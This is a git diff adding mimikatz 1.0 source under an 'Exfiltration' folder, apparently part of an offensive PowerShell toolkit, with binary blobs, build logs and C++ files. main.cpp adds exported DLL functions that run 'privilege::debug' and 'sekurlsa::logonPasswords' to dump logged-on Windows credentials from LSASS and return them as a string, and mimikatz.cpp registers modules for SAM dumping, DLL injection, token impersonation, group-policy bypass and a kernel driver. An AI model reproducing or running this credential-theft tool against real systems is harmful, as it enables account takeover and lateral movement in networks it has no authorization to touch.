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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a9809e1aa9bfc8a1cecd1671d78b7e215fc35587 GIT binary patch literal 3262 zcmdUyO;5r=5Qg8giT{D49%$sE#v5*1Y@mho3u7Aj|9?V#W?O>+E-Geg8fa%{=scZ$ zyF0wUy~^o9ofgVe>q(6su{K(3t3;(L#uBYK5e`w3C|KUGYd2`4)wN!cEc*S^810KDyCd}@5fM~%CGM`s2cb-!DsArmHvY7 zJNw(=D&1Etw7O%jqh8(nx`n2)b-mS&Z&Uf$=z1RO)Q)%8FkRi}j@GauSU+HP0pD?V zx1+x*c~7nPjE2a4FEuuL$1WYCgC(T4H;tdzI@ARp>vHRVMQ;BsDk`1(UjKB>KLDFK B$#DPx literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..5913372303152dc86d075d7216dac40c5b972df7 GIT binary patch literal 354 zcmd6jK@Ng26hzj^iU9ndhcEC~w6l=|Ha+ji`|qeJ^E|80Bw?;Y`LU;rwSa%_})_ U*jdkE-TFeF*dlgz`nlNp2Tm|FqyPW_ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp new file mode 100644 index 00000000..365bd1aa --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp @@ -0,0 +1,5 @@ +#include +#include +#include "global.h" + +std::wostream *outputStream = &std::wcout; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h new file mode 100644 index 00000000..4bfe000a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern std::wostream *outputStream; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp new file mode 100644 index 00000000..8862e425 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp @@ -0,0 +1,73 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "globdefs.h" +#include +#include +#include "mimikatz.h" +#include + +int wmain(int argc, wchar_t * argv[]) +{ + setlocale(LC_ALL, "French_France.65001"); + _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + + /*SetConsoleCP(CP_UTF8); + SetConsoleOutputCP(CP_UTF8);*/ + + vector * mesArguments = new vector(argv + 1, argv + argc); + + mimikatz * myMimiKatz = new mimikatz(mesArguments); + delete myMimiKatz, mesArguments; + return ERROR_SUCCESS; +} + +extern "C" __declspec ( dllexport) wchar_t* WStringFunc() +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + vector* mesArguments = new vector(); + (*mesArguments).push_back(L"privilege::debug"); + (*mesArguments).push_back(L"sekurlsa::logonPasswords"); + (*mesArguments).push_back(L"exit"); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + +extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + int argc = 0; + LPWSTR* argv = CommandLineToArgvW(input, &argc); + + vector * mesArguments = new vector(argv, argv + argc); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp new file mode 100644 index 00000000..7265ef92 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp @@ -0,0 +1,286 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mimikatz.h" + +bool mimikatz::initLocalModules() +{ + mod_system::getVersion(&mod_system::GLOB_Version); + mod_mimikatz_sekurlsa::loadLsaSrv(); + mod_cryptoapi::loadRsaEnh(); + + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion systme", mod_mimikatz_system::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilges", mod_mimikatz_privilege::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accs", mod_mimikatz_impersonate::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du dmineur", mod_mimikatz_winmine::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du dmineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); + return true; +} + +mimikatz::mimikatz(vector * mesArguments) : Kmimikatz(NULL) +{ + initLocalModules(); + SetConsoleTitle(MIMIKATZ_FULL); + (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << + L"// http://blog.gentilkiwi.com/mimikatz" << endl; + + bool mustContinue = true; + if(mesArguments) + { + for(vector::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) + { + wstring commande = *maCommande; + (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; + mustContinue = tryToDispatch(&commande); + } + } + + if(mustContinue) + { + wstring * monBuffer = new wstring(); + do + { + (*outputStream) << endl << MIMIKATZ << L" # " << dec; + getline(wcin, *monBuffer); + } while(tryToDispatch(monBuffer)); + delete monBuffer; + } + wcout.flush(); +} + +mimikatz::~mimikatz(void) +{ + mod_cryptoapi::unloadRsaEnh(); + mod_mimikatz_sekurlsa::unloadLsaSrv(); + mod_mimikatz_inject::closeThisCommunicator(); +} + +bool mimikatz::tryToDispatch(wstring * maLigne) +{ + bool reussite = false; + + if(!(reussite = maLigne->empty())) + { + switch(*(maLigne->begin())) + { + case L'@': + case L'*': + reussite = this->doCommandeDistante(maLigne->substr(1)); + break; + case L'!': + reussite = this->doCommandeKernel(maLigne->substr(1)); + break; + default: + wstring fonction = *maLigne; + vector arguments; + + size_t monIndex = fonction.find(L' '); + if(monIndex != wstring::npos) + { + fonction = fonction.substr(0, monIndex); + arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); + } + reussite = doCommandeLocale(&fonction, &arguments); + } + } + + return reussite; +} + +bool mimikatz::doCommandeLocale(wstring * fonction, vector * arguments) +{ + size_t monIndex = fonction->find(L"::"); + + wstring module = L""; + wstring commande = *fonction; + + if(monIndex != wstring::npos) + { + module = fonction->substr(0, monIndex); + commande = fonction->substr(monIndex + 2); + } + + for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + if(module == monModule->module) + { + for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(commande == maCommande->commandName) + { + return maCommande->ptrCommand(arguments); + } + } + + if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; + else (*outputStream) << L"Module : \'" << module << L"\' identifi, mais commande \'" << commande << L"\' introuvable" << endl; + + (*outputStream) << endl << L"Description du module : " << monModule->description << endl; + listCommandes(monModule); + + return true; + } + } + + (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; + listModules(); + return true; +} + +bool mimikatz::openKernel() +{ + bool reussite = false; + + if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) + { + (*outputStream) << L"Ouverture du pilote mimikatz : "; + Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else + { + reussite = true; + } + + return reussite; +} + +bool mimikatz::closeKernel() +{ + bool reussite = false; + if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) + { + if(CloseHandle(Kmimikatz)) + { + Kmimikatz = NULL; + reussite = true; + } + } + return reussite; +} + +bool mimikatz::doCommandeKernel(std::wstring &commande) +{ + if(!commande.empty()) + { + if(openKernel()) + { + DWORD dwReturn; + /* + (*outputStream) << L"DEBUG WriteFile " << endl << + L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; + */ + if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) + { + /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ + + DWORD dwBuff = 0x40000; + DWORD dwRead = 0; + BYTE * buffer = new BYTE[dwBuff]; + RtlZeroMemory(buffer, dwBuff); + + /*(*outputStream) << L"DEBUG ReadFile " << endl << + L"\tBuffSize : " << dwBuff << endl;*/ + + if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) + { + /*(*outputStream) << + L"\tReaded : " << dwRead << endl << + endl; + */ + wcout /*<< L"BUFF : " << endl*/ + << reinterpret_cast(buffer) << endl; + } + else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; + + delete[] buffer; + } + else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; + } + else + { + (*outputStream) << L"Commande vide (fermeture force) reue" << endl; + closeKernel(); + } + + return true; +} + +bool mimikatz::doCommandeDistante(std::wstring &commande) +{ + bool commOk = false; + + if(mod_mimikatz_inject::monCommunicator) + { + if(!commande.empty()) + { + if(mod_mimikatz_inject::monCommunicator->isConnected()) + { + if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) + { + wstring buffer = L""; + do + { + if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) + { + (*outputStream) << buffer.substr(1) ; + } + else + { + (*outputStream) << L"Erreur : pas de rponse possible ; " << mod_system::getWinError() << endl; + break; + } + } while(*(buffer.begin()) == L'#'); + } + else (*outputStream) << L"Erreur : pas d\'criture possible ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"Commande vide (dconnexion force) reue" << endl; + } + else (*outputStream) << L"Erreur : pas ou plus de communication tablie" << endl; + + if(!commOk) + mod_mimikatz_inject::closeThisCommunicator(); + + return true; +} + +void mimikatz::listModules() +{ + for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; + } +} + +void mimikatz::listCommandes(vector::iterator monModule) +{ + for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(maCommande->commandName.front() != L':') + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h new file mode 100644 index 00000000..29733683 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_parseur.h" +#include "mod_pipe.h" +#include "mod_process.h" +#include "mod_system.h" + +#include "modules/mod_mimikatz_standard.h" +#include "modules/mod_mimikatz_crypto.h" +#include "modules/mod_mimikatz_hash.h" +#include "modules/mod_mimikatz_system.h" +#include "modules/mod_mimikatz_process.h" +#include "modules/mod_mimikatz_thread.h" +#include "modules/mod_mimikatz_service.h" +#include "modules/mod_mimikatz_privilege.h" +#include "modules/mod_mimikatz_handle.h" +#include "modules/mod_mimikatz_winmine.h" +#include "modules/mod_mimikatz_minesweeper.h" +#include "modules/mod_mimikatz_nogpo.h" +#include "modules/mod_mimikatz_samdump.h" +#include "modules/mod_mimikatz_inject.h" +#include "modules/mod_mimikatz_terminalserver.h" +#include "modules/mod_mimikatz_divers.h" +#include "modules/mod_mimikatz_impersonate.h" +#include "modules/mod_mimikatz_sekurlsa.h" +#include "modules/mod_mimikatz_efs.h" +#include "global.h" + +class mimikatz +{ +private: + static vector getMimiKatzCommands(); + vector mesModules; + bool initLocalModules(); + bool tryToDispatch(wstring * maLigne); + bool doCommandeLocale(wstring * fonction, vector * arguments); + bool doCommandeDistante(std::wstring &commande); + bool doCommandeKernel(std::wstring &commande); + + bool openKernel(); + bool closeKernel(); + + void listModules(); + void listCommandes(vector::iterator monModule); + + HANDLE Kmimikatz; + +public: + mimikatz(vector * mesArguments = NULL); + virtual ~mimikatz(void); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc new file mode 100644 index 0000000000000000000000000000000000000000..85dd98fd902edadeb30d648631ca9d962e266062 GIT binary patch literal 2528 zcmb`J+iu!G5QgWvQr}?)k zEw3bP_51Q9ON(bDC3m2HmpP~l$;elBoa7Qq&gQAsyu}CjzS-hGkhgHH$mbRB792Zx zP{fBGJ_KCv(E7z?4r;c+xRojz74Fw)sKtP%I=db2Rq)Ju$H|pBEy@RZ&q)iZ!hv(e z($z(($8Q-MEgS1P?=?^=ur@mPb%e)}woV zU8Q?je?N}srMg5qAXi#nDJ)E7EHip(B0s2%JKl!uYmKGwcF2BY{V;eK$~V@2>-+J2 z3`(|3`!+T+i#P?@+ZltZ>k<2r{KWPQUQ48nd}3ewd5Z1DNw&M#o}(Lr5!=i&Gji+o z9G^6wk;RIninwG2Nndw2~)=sZ_Lc=K`PdazWf)p1UTt zr$l~9%QQzvPZi$+(lc#CHCo&fM;wHfY*A3+g~?ceBQH!nnTG zZqlsiOxm0sG28e_&+}H&chsSKjhyQ@^U(S3eu`?(NS17B&yUILgtySXs|Q)zgPVQW zV{Xln3-K(ol1yPQ%VqXR-y<`pV!W*S;wo~N%kKO6ed)t*!1wMEPCB(bC)bV2O1tFv rb$(X*Z)L<9z$iM(?(!ep4BwS==Rcx`7es6f$N52aY540z4ylg6szg78 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj 